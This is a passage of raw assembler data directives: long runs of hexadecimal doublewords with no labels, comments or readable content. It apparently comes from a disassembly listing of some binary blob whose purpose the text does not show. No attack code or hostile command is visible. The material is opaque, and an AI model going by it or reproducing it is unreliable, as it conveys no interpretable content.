0E9520B58h, 0AE66FFD4h, 0EEF009Fh dd 5F54556Dh, 0E5608331h, 4BEC0805h, 0E3E0D6E9h, 0DD6CE49h dd 29917E21h, 3A7121C8h, 0FB58C209h, 29682C57h, 8C559241h dd 419CE8AEh, 0B0034444h, 6E0C00Ah, 98F8050Ch, 0DDB6B748h dd 0F97C19Eh, 805BCB81h, 0F7FE39DCh, 0CAC20A94h, 0BF1CE236h dd 0C6EF556Fh, 0B8812A99h, 0B47BF272h, 3DBD0158h, 2142C42Fh dd 7042961Bh, 4EDD4BCCh, 0C18D8852h, 0A703E63Dh, 51700148h dd 0D3415955h, 3766D946h, 6ED72079h, 3EA7B138h, 2C598ECAh dd 8BD00B21h, 262B722Bh, 643E22AEh, 46C945Bh, 0A9FE7D23h dd 4AE2D25Bh, 313C6882h, 4B9F1857h, 574F011Ch, 61B7EA81h dd 8B60E23Ah, 66D85B6Dh, 9666E0Ch, 0A1E94760h, 7E35B620h dd 0B5904902h, 0CC0BCC91h, 0C9E4F157h, 0B1683A30h, 88102E4Ch dd 0EAB32F14h, 0A4B65FE7h, 5FDB593h, 664376F1h, 77C38E6Fh dd 16D15AFBh, 4B9F265Ch, 0B5929BF8h, 742A6095h, 3EB4751Bh dd 0E684B3BDh, 0B4C5317Dh, 7E53F361h, 98E34BE6h, 1718E64Bh dd 91F45BE9h, 0BF7FEECDh, 810A0191h, 10E8C189h, 0F8C9C831h dd 90F8C7D1h, 27FAACB7h, 4F1A2C68h, 80422C61h, 1ACEBDAFh dd 0B54D4802h, 0F0F43691h, 5BFB732h, 0C3F8B852h, 2BA9BB4Ch dd 5726C0CAh, 0ADE942B3h, 8588248h, 7FA2F54Bh, 0C2C580C5h dd 11E97DF0h, 2240D8B8h, 0CC250438h, 2D750095h, 26C57D12h dd 521C0035h, 0E8D12142h, 890F0548h, 34E922D5h, 0CEC11083h dd 7BEB4C77h, 8105E300h, 0A4801F3h, 9230184Dh, 0DC41AA2h dd 0BB0D13B5h, 7A0A0AB0h, 17E34A7Fh, 5EA58AAEh, 43834234h dd 2B5B1329h, 811F34FCh, 4D6887Ah, 0C601DFACh, 450B2C35h dd 18DD305Bh, 62036102h, 49D1F7h, 9DFC9EE2h, 46510897h dd 99F5125h, 9D543D68h, 0B84A66EFh, 0B094D879h, 4609BB53h dd 43493Fh, 2D372606h, 96DB825h, 7F6D6E42h, 80976EAh, 0B1F62B06h dd 0D00EB032h, 8C475C09h, 2D0C10DFh, 8C23960Ch, 18D3644Dh dd 48783A08h, 573B381Bh, 25CB0370h, 20BA10h, 19475570h dd 0F564E97Dh, 5680BCB1h, 5F466968h, 4E5E2F18h, 2A7C4B48h dd 9759620h, 3D9C9908h, 310C1E78h, 0D2405AD0h, 0FD5826ADh dd 38F50338h, 423C9D27h, 1BCD00D5h, 0E925735Dh, 2C2E4A44h dd 76EE682Eh, 59339CB7h, 0EEC4F8DEh, 0E5C147DFh, 0C2C599E2h dd 242E9C42h, 81A351DBh, 0C0433DE3h, 0EB4E2013h, 73312E14h dd 920E0494h, 13AB8DCEh, 56C5A3D9h, 0C7A34E5Dh, 99C45AC5h dd 0BD3E80A3h, 63FE3686h, 7E7F2A68h, 3AE9176Ch, 0C01BA5EEh dd 56716E1Ah, 341BE00h, 0E94E54BCh, 97479A45h, 0E97A891Eh dd 0E00DD91h, 54E4A29h, 61771762h, 20ADF07Ch, 25EAB15Dh dd 0B4BBC1D5h, 0B3829CC3h, 347609BBh, 0F6DED9C7h, 0FB669BC3h dd 0AF12C132h, 4F012534h, 4E2ECBD0h, 66FC9CDh, 0BC20FCE6h dd 2BEE5886h, 78B55880h, 14854A44h, 0A40E1D50h, 0C9BEF246h dd 0D81BE30Ch, 25BF15C1h, 645A9CD7h, 0B8C07D60h, 0F217250Eh dd 521F2864h, 0A6565A54h, 452B149Dh, 0D1ECBAF4h, 2A5FF80Eh dd 8A2A4A89h, 0D04D102Eh, 86364B4Ah, 0AE8AD522h, 510CDE90h dd 0B86AD201h, 0AFBCAC58h, 1CE36294h, 0F00CD385h, 3BC06D20h dd 5BF6C180h, 0C3CB4B88h, 0C3D10168h, 0E9B0C39Eh, 20BD54D9h dd 0BBEEA190h, 0FA292595h, 21420979h, 2621E4D0h, 409CE2F3h dd 0F240E12Ch, 5201ADBEh, 0B4A0E950h, 917F423h, 82D314C3h dd 146BE009h, 2A24337Eh, 0C1030727h, 0CA4004C3h, 5B3E50CBh dd 2C4F885Eh, 0D5820389h, 4AEE6891h, 0F5289EAFh, 0CB20E820h dd 0ECC01FB8h, 0DAFE8907h, 26F6B2EEh, 68C2D49Ch, 0E31A55D2h dd 0B72F7CE0h, 0F941897h, 952397ABh, 5903ADBEh, 0DF1180CBh dd 0E9E07A1Ah, 5E897BF0h, 0CA58AD9h, 8533C568h, 53C140D0h dd 5B74F660h, 4F03EBC0h, 0D9A8A656h, 0AB92307Ah, 0C8930FC1h dd 5A79D449h, 20660209h, 28EDB367h, 0E4E927D8h, 0C9055F80h dd 64580E47h, 970D2024h, 6D5EBE8Eh, 4D46A510h, 6F57B1DCh dd 0D011D5B3h, 0A11C2734h, 0F2E95FC8h, 295EF32Ch, 506132DCh dd 441395FEh, 880D640Ah, 9B7C0D91h, 0CE645127h, 47DDE912h dd 680934F2h, 38F641F2h, 0E93410D2h, 2747B6D3h, 0EA0288ECh dd 59B7C280h, 0D0137528h, 0DDE312FCh, 8015B203h, 61D7EEAh dd 282C02Ah, 0C166D2F6h, 5FA88E82h, 0FC6B2272h, 0E596EDB2h dd 42509692h, 56C602DCh, 85585FCFh, 5FB8BC50h, 62DBBE01h dd 2E3128FBh, 0CACBA153h, 0BC545C64h, 0F2BCA5B9h, 14642DC0h dd 1140679h, 270705F8h, 0AFBA535Fh, 3AF420E8h, 391F7EB3h dd 0C11BBAC1h, 0D04002EBh, 4CF8509Eh, 0BE293229h, 395903EEh dd 0F1E1921Fh, 0ACC7F85Eh, 0C49B7AAh, 24A1783Ah, 927BE53h dd 2DF3823Bh, 168AF26h, 497B6BF3h, 30E9D984h, 0E65B092Fh dd 49C5BA63h, 0DC207321h, 29230526h, 0F0291602h, 0A0078E2Dh dd 52C13231h, 60CFB05Eh, 429A7A55h, 81F4446Dh, 7E2EE603h dd 0B46715Ch, 3FFC32CEh, 0FD65102h, 42235C82h, 45C7080Bh dd 17649C9h, 25E91985h, 47C24106h, 2F609E55h, 90C0AB12h dd 0A045630Fh, 0E658C7A4h, 215F26F9h, 0DE827C5h, 8612F2F3h dd 855247B5h, 501C630Bh, 77BB0494h, 0C768C77Dh, 0C5BDE128h dd 61AECDDFh, 79D02E7Dh, 961B36E9h, 70D4A02h, 708471BAh dd 0D107A0B9h, 74E9420Bh, 0FBF7A05h, 3C3451DFh, 9AB8E67Ch dd 0AB60D3B9h, 0CE0189F1h, 78F68159h, 9E8BDA77h, 21A5EF2h dd 0EE266265h, 9241CAEDh, 12801A4Dh, 57F66852h, 60953054h dd 767A9D7Bh, 0D3012CC5h, 9808206Fh, 9330BCD5h, 0F94A91CEh dd 4FEB26CCh, 50289C9Ah, 0D8E55880h, 77B85E01h, 616C6222h dd 6FF1E5C2h, 37B03A13h, 57D7644Ch, 80B5E834h, 0EFF88DEEh dd 0F43161B1h, 74ED41E9h, 58EEE113h, 54BAFB59h, 9294017Ah dd 381FB980h, 27314281h, 17C259CFh, 2D5007C9h, 0E8582598h dd 0BEAAEC88h, 685560CBh, 129D1A20h, 2E2E4454h, 25C2525Dh dd 0DCE66769h, 12B7F922h, 0F9EB09C7h, 5312326Fh, 56C4ED56h dd 614B9DCFh, 2BB1199h, 5B68C05Ch, 0D5C7312Ah, 0DF3D8036h dd 4044ADE5h, 9155B08h, 83A31C77h, 300B69E9h, 0AC4AFB8Dh dd 2125D33Bh, 3F41FB5Fh, 955FB8F9h, 7267733h, 94CB795Ah dd 0ED833106h, 58E7966Ch, 0CC2568A4h, 8CD9C454h, 2A53581Ch dd 69393504h, 0F495F85Bh, 0E9A030EEh, 4DBED144h, 0E3C194B0h dd 609EBC03h, 22DBBD55h, 0BE2DF200h, 7A47A575h, 5DEE0901h dd 2504F331h, 0F6ED95FCh, 0A4E9C292h, 2880793Dh, 424B8D2h dd 506636B5h, 0E540C3B4h, 7DFA58B3h, 0BF4E7550h, 0E3FBE097h dd 0EFE9C4D2h, 134A6548h, 13AA003h, 55A9FFAh, 5D680160h dd 0A0F8B127h, 61F10494h, 0F95B541Dh, 52D184B6h, 515F6603h dd 1B0B998h, 32570EFh, 379AF6E4h, 0C1522694h, 1908BBA5h dd 0F1A2A94Fh, 0E3D6EF8Eh, 94544C6Bh, 43F2D271h, 0CD5B8748h dd 2E540D72h, 0EF295CD1h, 12FC90F7h, 0CC1E4B01h, 169859F9h dd 66D0A38Ah, 0EB633302h, 8CF016Fh, 0ECE91E08h, 0B9BA96FBh dd 54291031h, 60175E48h, 89E2A3CBh, 0C13F8956h, 0C72B5FD6h dd 951E954Ch, 6F6D3D98h, 5DE07122h, 0D5EA65A0h, 343B3527h dd 4F25129h, 0E9692008h, 7294E792h, 2587726Bh, 1632DF32h dd 0B300D276h, 5BDE88ABh, 74F07C28h, 0DCD84C5Ah, 0A635C615h dd 92E3032Ch, 2EC5A55Bh, 286C50D2h, 2C734DD7h, 6294B390h dd 1E2BFECBh, 51056801h, 556F6163h, 350F25E8h, 42558740h dd 0D705B62Fh, 3BB84581h, 45DA5D6h, 88D9A0CFh, 5B38473Ch dd 0C180FE43h, 37B6C154h, 31B9297Eh, 0FE848940h, 0FFFE006Ah dd 0A308E2C1h, 9003B6B7h, 6905355Bh, 27FCEC26h, 68F2C801h dd 62209684h, 7F4806E9h, 521E462Dh, 0C6954F66h, 11C14EBDh dd 994C1D43h, 67A22668h, 2E046F59h, 0A331AF54h, 5D02AB99h dd 95E71C75h, 9A985EEEh, 885200E5h, 0E1D0B0EAh, 7EC88014h dd 1558402Eh, 10A94016h, 0B5D12180h, 0C1D37832h, 5A90E99Dh dd 31545830h, 173EC879h, 0A9DC9A57h, 0B29C68E3h, 88BFB6D0h dd 183234F7h, 0C8336B10h, 0CC424DDh, 812CC0FEh, 0E93BC2AAh dd 0F88FE4F5h, 0E98244E2h, 0F253F56Fh, 3A033097h, 0BBA5B652h dd 2CE4C87Dh, 25679097h, 7800CFE9h, 0B8768EBBh, 0F39E29EEh dd 0B6EDAABFh, 0FE2EE1A0h, 3F8E149Eh, 28B66h, 0D530AFEDh dd 0E2169059h, 7EF10C4Bh, 0DA05D2F7h, 0D372E93Dh, 0DFC74CD9h dd 3B54BB52h, 0FCE12AC0h, 536434D8h, 2AC2000Ch, 1892F581h dd 0C10214A7h, 17E907EDh, 0ADE249D5h, 0BBD053C9h, 984E78C6h dd 8E6C9780h, 64332DFCh, 0F8551D5Ah, 0F93096BDh, 6AF25A8Ch dd 5D7EE81Ah, 0B853E972h, 0A30D59A1h, 0E45FE2E9h, 70B8006Eh dd 0C9815DC4h, 0AA255953h, 77D7012Ch, 0D9C868F7h, 0C2A2DE9h dd 123F09E7h, 0F3905BD9h, 2C3B23EBh, 0A6A54855h, 0F6D3029h dd 6812C0B7h, 52C9523Eh, 327DDF41h, 6370316Bh, 0C38000BCh dd 7BF3E6EFh, 0F9B94D2Eh, 5FF9010Fh, 27DD2806h, 7872EB25h dd 0B5E273A1h, 0C3007045h, 36C96EB4h, 0CF44ED29h, 80EB084Bh dd 4A97BAC2h, 8794C56h, 9662721Fh, 0AD190F39h, 8AE23EAh dd 3BA5C969h, 4345F1DAh, 0EE2A342Eh, 0A5E24C27h, 0D0210222h dd 32B7BF4Ch, 0D421D5FEh, 3855CBE9h, 0D4018005h, 0CE7816Bh dd 29D74D59h, 5FF80596h, 0C959AA4Ch, 9D367A5Ah, 7964BB0h dd 94F7596h, 6DD8297Bh dd 0D35409B5h, 0F08C2ED1h, 0B7EA332Dh, 0AE544538h, 0BD585980h dd 883FC021h, 0E6BA20D1h, 4BBE1F59h, 20BAC631h, 2D84FB7Ch dd 85F8C545h, 90CEB96Eh, 4DC44B0Dh, 7A0BA415h, 51258198h dd 0D20AC632h, 564904AFh, 1B46AAD9h, 0C40CA4D6h, 13E65D40h dd 0E404A8Dh, 12846BF5h, 10CB0108h, 0F25A0860h, 5FEFD06Ah dd 0E9176FCAh, 84565244h, 3B08B110h, 281643D1h, 2F37BD00h dd 845B7F2Fh, 1AA01FD2h, 3156CE33h, 81122F79h, 76B6CD9Bh dd 0F5201354h, 372B1799h, 5D780945h, 0A0027754h, 5528B541h dd 780E8A87h, 0F7C0FF3Ah, 937FCABDh, 81450025h, 0D346DBEDh dd 0EE028901h, 8E684E5Dh, 6E985D36h, 9D2E291Ch, 62132845h dd 688358BCh, 5F7F6D6Ah, 0A105034Dh, 9D2A617Ah, 5BD32053h dd 4A4F6880h, 0DDE0310Eh, 0D87B2456h, 5EB4DF6Bh, 4128EDC0h dd 2B23C1BFh, 20CCF65Dh, 19F28546h, 0D6EC42F5h, 58302DD5h dd 0E953B0D4h, 65BD4BC2h, 76D08BCCh, 80040242h, 0E52871F2h dd 33448B8Eh, 7A10D430h, 0DF49684Ah, 1F393F53h, 4EB2493Eh dd 0D8A06158h, 0D2F302C0h, 19819BE4h, 1B176A5Dh, 3A94D5F2h dd 9725D512h, 78441h, 0FD667905h, 7A2D014Eh, 2924533Fh dd 78FF2F0h, 0BB401194h, 0E7AF41A2h, 0D8F3DC17h, 0CEFD3B89h dd 36C3D754h, 0EEC2FDC1h, 0C265FC29h, 95C01h, 0EA0D58A2h dd 0A0C15B3Ch, 6109F2A6h, 466F0Ch, 5B58D3F5h, 63C2B815h dd 30401206h, 9CDC148Ah, 53477409h, 0B4E9E2CBh, 0BE015B5Eh dd 416A1C7Eh, 5E8A0B6Ah, 0C60109C0h, 5FA68CC1h, 4FF56EF9h dd 714BC738h, 6154519Ch, 79A9D11Ah, 0D636D226h, 29099772h dd 49A8D2F1h, 0FA12C65Bh, 0EC907B6h, 4CB86958h, 575204BEh dd 3CE99998h, 6557E04Dh, 0A2845CEFh, 0FCEBA500h, 259D7FF6h dd 0E541C3E9h, 55A2755Eh, 0E01AE9D1h, 0B7348B5Ch, 0E8207AC4h dd 61595EA4h, 6E7B1C64h, 20728930h, 0E97E0B91h, 83B045A1h dd 3A0B5387h, 495A5071h, 137BFDF7h, 0B2D4EC1Eh, 7064E0E8h dd 0EB4748FAh, 103E8E4Bh, 0E9126205h, 315D827Fh, 26C76EE3h dd 0E4B51153h, 0CCAEBE0Dh, 6F12BEE0h, 530BC07Eh, 0A26AFA61h dd 3C209EBh, 0F226E482h, 0BE7C6859h, 0AB3A1F39h, 0F9F68723h dd 31200268h, 2F7083D8h, 1A2669Dh, 57C8B60Fh, 3C618D68h dd 46F692E7h, 0ED8B6C27h, 72BE7194h, 3009E961h, 3E0BDC69h dd 5F029922h, 0B046AEA8h, 322768F2h, 30C07B41h, 9152D148h dd 335240BDh, 0BE6E2DADh, 0E9FE0770h, 5B229A5Dh, 64CEFFB2h dd 0C1356181h, 0CD2E20E5h, 4B23FE16h, 8AFC1316h, 2E9CB9A0h dd 2F553Fh, 292550E1h, 1ED9F75Ah, 0F904E9C1h, 0A3548886h dd 970B8C39h, 60636073h, 13EF8965h, 0E5E46EE9h, 2AF4DD00h dd 0CFCC613h, 5F165F48h, 89D89CEDh, 3AB8FB7Ch, 1C49860Bh dd 0A027DC70h, 76E92D08h, 7308C253h, 0C2DD2631h, 4CE0D801h dd 62096968h, 8F5A021Bh, 0E94AA241h, 4827030h, 0B68C80Fh dd 12F7B358h, 70B7A21Dh, 0E9DA2916h, 1C9491C2h, 3F2A0168h dd 2B42C381h, 3CAEE484h, 6C1D3B5h, 0A082E99Ch, 16C02A92h dd 1A301F8h, 0C880C2FEh, 0D35A3097h, 0C9203483h, 6847FF3h dd 0ECF8E977h, 68157F47h, 75F4CE8h, 0DEF6EE88h, 0C88BF544h dd 0DBC58002h, 0EE56EAE9h, 0BF575B00h, 7C357C3Ch, 0F2125962h dd 96CC3135h, 8CFC0D65h, 0DD268DBCh, 5200D923h, 0B1685057h dd 287A2E61h, 164E1066h, 0F5A6C729h, 1649A75Ah, 84B4457Eh dd 6421E5F9h, 1EF5E831h, 2D00876Ch, 6FCE0758h, 0EE01055Fh dd 0E94EFA3Ch, 0F3244865h, 6B507851h, 290411E2h, 565A029Fh dd 5F07E53h, 0AE405921h, 35BEAB00h, 1368F517h, 5BDE31h dd 0D4663601h, 0CB904E7Eh, 0C8486A00h, 6E0C155h, 27BE012Dh dd 4BE93BFDh, 0C0D82E2Ah, 240D9E6Bh, 0CF7AC2E8h, 872EDC0Bh dd 5B1D1CF8h, 255C6D5Ch, 62039E9h, 2B5D82EEh, 0B92A6C98h dd 9EA0DAA6h, 5481A1AAh, 3038D97Bh, 9ABA5CE8h, 748C898h dd 4FD8049Eh, 0C8A35278h, 0FB8EC17Ch, 302AAA27h, 0AD683FB6h dd 0CA078363h, 5F09867h, 730A72h, 4FAC3523h, 7CE9FBFEh dd 26CCC55Ah, 0C0D24017h, 0C8FEDAC3h, 20EB604h, 1CB15102h dd 0EB764AE9h, 3E685F02h, 620EF44Fh, 0FBC64818h, 8F9D5248h dd 61D7C95Ah, 914480EFh, 0E816E986h, 3BCF882Ch, 817F7FCh dd 6808FE88h, 245A17BAh, 8482E29Bh, 0B9D7B3E9h, 569EBF53h dd 0C104D20Ah, 0C7310CE8h, 0FA489810h, 41F9DF93h, 3FD91C2Dh dd 4B2A6861h, 91C8372Ah, 615ED819h, 62413DE9h, 0C108D20Ch dd 0C4205108h, 1263006Dh, 7666B914h, 31277896h, 0ACEEF9F9h dd 0B97D0940h, 548B272h, 6C910570h, 0F51C4F1Ch, 446FF204h dd 0F15EADE8h, 0C195608Bh, 8F05EE24h, 6607EC10h, 43CE18BDh dd 5DBBEA29h, 0F7900A51h, 19A25h, 0B450F300h, 7054AE9h dd 74EAD1E6h, 5F14AC75h, 5AF3C48Ch, 4AB4CE5Eh, 498C582h dd 0BD6EC3C1h, 5AD60C38h, 6AE9BA47h, 8670A8EBh, 0C6738800h dd 0FE7C2978h, 0E55F4A08h, 5CB219Fh, 0F843EF0Fh, 9142728Fh dd 4195C01h, 360DF40Ch, 0D4CBE2B5h, 0D847C7AEh, 4F12712Dh dd 33F2CDh, 7B58E0B4h, 55858D5Fh, 27B04BFCh, 3096B2Ah dd 765EF729h, 0E19085Eh, 82E38100h, 956A5717h, 7F202FECh dd 0FA31399Eh, 98DD726h, 0BAFCCBB0h, 0AAA664EFh, 2B9144BBh dd 0F78E5910h, 0EEC794CFh, 71B4A665h, 68E69702h, 0EE9DB22Fh dd 4950F6AAh, 0EF16DDDCh, 0AE020A02h, 25AA0020h, 906871D3h dd 992DDD06h, 765597E9h, 4E9C4F4Fh, 7341C5BCh, 7755537Dh dd 31A45BCDh, 43B42BE9h, 14CF0297h, 4E4A5B66h, 465000DFh dd 2506F1Ch, 38916851h, 71627299h, 0D95FDA60h, 7616604Ch dd 0E8277D4h, 7D7F2301h, 81626B4h, 0DE1FAA05h, 2F746500h dd 2811665h, 0ADFC1AEFh, 65602911h, 5D81E6DEh, 9CA1770h dd 5A1B1A44h, 570773F6h, 506B63D9h, 0B556C5FBh, 0E167A846h dd 0A147C183h, 4D0EFC04h, 66D4EEC9h, 0C3A30193h, 68CDD78Fh dd 79F2010Fh, 4626BE8h, 0F2A0559Eh, 0BD555DEAh, 0A04E780Bh dd 745F07Bh, 0B184F581h, 23253D5Fh, 4E4758A0h, 2ACB4416h dd 8813CB7Dh, 0DC40D882h, 32F9F02Bh, 0FB956BAAh, 0BB76DDABh dd 0A959CE0Eh, 6DC382F1h, 0BA680148h, 5E44737Bh, 0ABB45F35h dd 51616501h, 0C5F956Fh, 890D5C75h, 305EF524h, 0A5F31D16h dd 8035FB2Ch, 0CFFEDFF6h, 8B12EF80h, 77A6F920h, 0C0C9017Eh dd 0F18002E1h, 0EB436B08h, 0A2C83067h, 982558ABh, 5ED3B0C0h dd 0B17C0A0Bh, 9CF1390h, 0D1DCC702h, 3AA25485h, 0CDCD0BBEh dd 0D498E7AFh, 0E158559Ch, 40B8484Dh, 104FE907h, 5CC1330Dh dd 5AC8C430h, 0B7E94121h, 0F934B337h, 4AB7382Dh, 6981AFB0h dd 0C576749Bh, 9CF9407Ah, 0E9F0963Ch, 18C13E46h, 44ED3190h dd 11230C82h, 64362CAh, 34082AF7h, 0D014110Ch, 5C028788h dd 0C611D768h, 0C3575E75h, 0DAC1C3CEh, 0C7442B5Bh, 0E0E961AFh dd 6866C0A4h, 0C41F16F6h, 0F79C5F26h, 4ABA4E41h, 4360EFC1h dd 0B23D4F9Dh, 29DF58C9h, 10ACFA1Ah, 3F626E08h, 74094E74h dd 292682B8h, 1960E1F6h, 18553549h, 647D7F7h, 80B558E9h dd 7993680Ch, 8D8FBF11h, 20BFA377h, 0FC6A9F81h, 6861C37Eh dd 745A50A0h, 125CE65Bh, 0DD56A5E9h, 48EEF5B4h, 46002606h dd 21114F5Fh, 0F7175EF2h, 0F30950DAh, 0F130E42Dh, 88DBE8C2h dd 187276Ch, 1FC20E71h dd 29A5514h, 744C0955h, 0B4EE8020h, 133A644h, 53CDE48h dd 2D9C0F6Eh, 8107BD00h, 300A9DE7h, 0D70C799Bh, 105C4948h dd 161B4DCEh, 0F009EE01h, 49BAD6BEh, 0F65642B1h, 0EB03A3D9h dd 0FD854230h, 74150DAEh, 60CFDD9Fh, 0F1602952h, 2FB4F69Bh dd 0F93248D8h, 0C9E3414Fh, 6066264Bh, 1D0BC1E5h, 163CC233h dd 38687DADh, 82CB6B48h, 9D283CBBh, 3B6C7025h, 0B8BA834Fh dd 6B81B188h, 0C3CB5B1Ch, 504A7458h, 1D5D8568h, 99BD85EAh dd 314F38EEh, 0E906E394h, 7CFAF26h, 60935EFh, 0F0A4B4C6h dd 674A68CCh, 447A7BCDh, 24129E8h, 5CA30F66h, 71859994h dd 7123FDBEh, 196E819h, 0F9493C9Eh, 0AC60422Bh, 23082005h dd 125E9762h, 7F6204FFh, 0E7B48252h, 0E4C7A9C0h, 0D0100238h dd 5012ABE2h, 0E2F579E3h, 0B05F0802h, 5AAD68F1h, 0CF39CC0Dh dd 9C2A6EE7h, 5A049158h, 0AF3E7C2Ch, 23AB3620h, 0A00F419Dh dd 0E918083Ch, 0E3573D1Ch, 14F33768h, 0BA3F4E7h, 0E9A5F65Ah dd 0E1CEAA02h, 6231B7A2h, 0EC5BE261h, 45954F04h, 0A00513C9h dd 0FD0030B0h, 0D5B0505Bh, 104C0FEh, 24472C75h, 0C86234A1h dd 0C53F284Fh, 7ED0E58h, 0E1E962D0h, 2DA95A22h, 16BAEBECh dd 667C0640h, 0E93AFE09h, 792BA9B3h, 2E6AEB03h, 33010952h dd 0C119FA44h, 893A07EBh, 58B20F59h, 7A272553h, 79F705D3h dd 0C2168F5Bh, 0C143F259h, 404A5AA9h, 646CFBB9h, 0D461167h dd 0FF0899C2h, 0A68BA009h, 5D453589h, 0E05514h, 1E2B311Fh dd 922617E9h, 8AEA487Fh, 2ED501B1h, 0BDC2262Ch, 1255F089h dd 90967500h, 6C061AD3h, 9F2EF3A8h, 0CF68CCE9h, 0C56CA63Bh dd 0F9F68441h, 0CC30C268h, 0E9600724h, 96524C48h, 0FA5653A0h dd 1B251310h, 0D6B2003Fh, 488CE81h, 8D2FDE26h, 546A023Eh dd 0DEF289EFh, 103C263Dh, 0F09D33Ah, 0B5835042h, 49FA38CEh dd 0C3FE38FDh, 2F4BDB68h, 3C41F51Dh, 7D243B33h, 0A6E48D71h dd 3F80F04h, 6298C3DCh, 0E3B073A1h, 42EE4710h, 0DB0C18CEh dd 0D0B45B6Ah, 0E6C4E92Fh, 20E6469Dh, 0B4C929C5h, 0A6A87456h dd 0CE6502F0h, 0A2715F55h, 0CA516BA7h, 526830C8h, 7E316D5Ah dd 228DE2Ah, 2257BE80h, 9BA326C2h, 405830FAh, 31DE5E5Eh dd 162B8145h, 82F20944h, 3ED0F4E2h, 4D5F737h, 15AC3EC4h dd 555204Ah, 140B5EEAh, 84F8015Dh, 0B8132CA2h, 3410361h dd 44552840h, 7729BACCh, 21A25F7h, 3396D679h, 7A893D27h dd 1388128Eh, 4BC3B35Bh, 8E9A6D0h, 908B32Ch, 0A97196B5h dd 0EB29732Dh, 64EB4EDCh, 34E916F7h, 57EDCCDDh, 5E625458h dd 18CF3F17h, 820F8D4Ah, 0FDE95C0Dh, 5E26A4E1h, 40EF329Ch dd 0C5B33F6h, 45D15326h, 0F8B4314Dh, 0C0B20B63h, 0D9317808h dd 0B49E0B47h, 8DFC8C09h, 42EA9435h, 861E92Eh, 52EF690h dd 480C193Eh, 4E9A50BEh, 6FEB1DC0h, 2784C3Eh, 0AE5FB850h dd 0C3C80F9Eh, 763B9005h, 0DCE1DFD5h, 468B0704h, 0F612A442h dd 2CFD24F1h, 982CE994h, 86C25436h, 0EB335725h, 0AA840283h dd 3F6C1CCDh, 0AB0DE909h, 4E7C822h, 1DE195C0h, 79687F3Bh dd 0F719150Ch, 80061E73h, 7EFEBFC4h, 822EE924h, 1426BE80h dd 7C011B20h, 34C02DF5h, 0AA3F0213h, 44BB16F7h, 807B824h dd 0B2B93AE9h, 565A7C26h, 3825229Dh, 92E85B0Bh, 632DAF54h dd 0F75E882Fh, 4944489Dh, 312C8195h, 8F8F7BABh, 0BA020C64h dd 0D84F229h, 0AB4019E9h, 0ECE794CDh, 9B68C8D0h, 6199BF28h dd 4D87385Ch, 78192F5Dh, 0FD0116BAh, 0BB8B125Fh, 63E95771h dd 3C525624h, 8919B3B6h, 0D9DA5346h, 7CFA61D1h, 0C831C5CBh dd 0E913FEE3h, 562A8250h, 3186CC8h, 680FF037h, 68675C90h dd 203849E9h, 0F7015E0Ah, 0ED22FF3h, 0C0676AF3h, 0B4BD58D4h dd 21D36617h, 94A2C0h, 2C8015Bh, 0F70E6705h, 10D65977h dd 4BE9AB4Ch, 282709F6h, 0A90812D1h, 13922451h, 0F6594A7Ch dd 5F7346D6h, 112EBD71h, 250B75ABh, 9463D1E4h, 6809E4F7h dd 0FFF23C9Ah, 40C850F6h, 0C81A053h, 6CF1137Fh, 790EDDD8h dd 733117C2h, 13EBFBB0h, 87AF830h, 2C0ACE57h, 0D1135379h dd 67FF8184h, 3F4FC362h, 8BBABE3Eh, 0D479C82Ch, 39EE8083h dd 57182A4Eh, 5488BF4Fh, 12D0CC7h, 100C2911h, 25B51F13h dd 0B951E100h, 4E657BC9h, 0B63DC205h, 5C12EED6h, 93EDD804h dd 0EF015903h, 0A5BA1210h, 5E6C101h, 26067E68h, 5C4406FFh dd 0BFE7A5Fh, 5BAF7BAEh, 0CF8184A0h, 0AD301863h, 8FF0C28h dd 503C48FEh, 75C43F03h, 0C9CC016Bh, 329E7A1Ah, 87565C17h dd 1A2781A6h, 0AD847F25h, 3F8A0712h, 30D0212Dh, 0C7F7E72Ch dd 0A4971C44h, 0B0F7F266h, 0EE0279FDh, 77D98347h, 59959238h dd 0EAC8FFB2h, 4A44E9E2h, 0F0DAF8D4h, 3B75911h, 3AF41C7Eh dd 0BD558082h, 248C4BAFh, 20DDF72Dh, 482AD029h, 46899764h dd 1DCF1680h, 3ECF3B5Ch, 49132595h, 0F68D13BBh, 0F4D75D2h dd 801D2806h, 221E534Eh, 481406C6h, 0D4D80B0Ch, 85786460h dd 334C13A0h, 0E92AA905h, 0B1A23FB3h, 906BE75Eh, 6CA299C2h dd 1C6B77Ch, 0F4A1104Ch, 0DAA22AF3h, 0AF93202Ch, 8B745B7Ah dd 81CC4280h, 5E057F64h, 0BF292B4h, 5DAC7850h, 5F3C39EAh dd 3C685B84h, 8D34FA6Ch, 28F2C090h, 5A340A95h, 9076856h dd 5C2E0E9h, 44B3B4D8h, 0FBD8AD3Ch, 2158097Ah, 35726730h dd 47093072h, 44D8B7E9h, 464B537h, 0D0D5C34Fh, 2D790FF8h dd 6067DCEBh, 61F8F12Dh, 7A66C331h, 93557C3h, 7CF568FFh dd 0D25AE2F6h, 44A9B74Fh, 0C35C1A80h, 42BD2D8Dh, 29B8F87Dh dd 3D6EDD31h, 69FAE8A7h, 9C9260B3h, 0DDF66A80h, 4DF50980h dd 0E3FEC5FEh, 0BDAF923Fh, 0D86AC2DDh, 46415660h, 0C177E42Ah dd 310804BDh, 71421BAh, 88BC74C2h, 0FD7AC772h, 22BFD2ECh dd 5BEF203h, 881ACD89h, 0A6C201B9h, 74D82D51h, 0A804149Dh dd 0C710D01h, 478F627Dh, 0A5EBB30h, 834698CDh, 123C4EF5h dd 1630ECE1h, 0A2E8F3C9h, 764698CCh, 0A0F40BFh, 0E94F0D68h dd 0F3B1EF6Eh, 0C77C52C8h, 0DD4F6A7Ch, 39C2D85h, 0C4549458h dd 0A88AAF02h, 0E9A98C4Bh, 68D50825h, 0F256502Eh, 250CB6C5h dd 0D780E2E2h, 10BE121Ah, 4DFF734h, 74C21285h, 9CBB85Bh dd 0A4B98019h, 25BB5913h, 6401200Bh, 5BE40964h, 115D37ADh dd 806F5DF2h, 3E272294h, 0C6814F03h, 76C942B5h, 962B09DEh dd 0E662AFF8h, 7CF79C41h, 0D0BB4DE2h, 829B24E9h, 0EB8DF9AFh dd 0DBE11A10h, 0F0BFC4B5h, 0D4E8975Bh, 7C04ED81h, 294CAE11h dd 84C58FC2h, 75828908h, 809E914Ah, 0E00FDBBEh, 2C245557h dd 1045EFD1h, 29BEC9A0h, 8926299Fh, 0B5844E2Dh, 0C00114Ah dd 0E9D6015Ah, 40DB0C6Dh, 0B5643Eh, 63C80515h, 0E9272598h dd 305C61CEh, 0B4F28C7Fh, 6BB6325Ah, 0C0FC0050h, 1E2EBFB3h dd 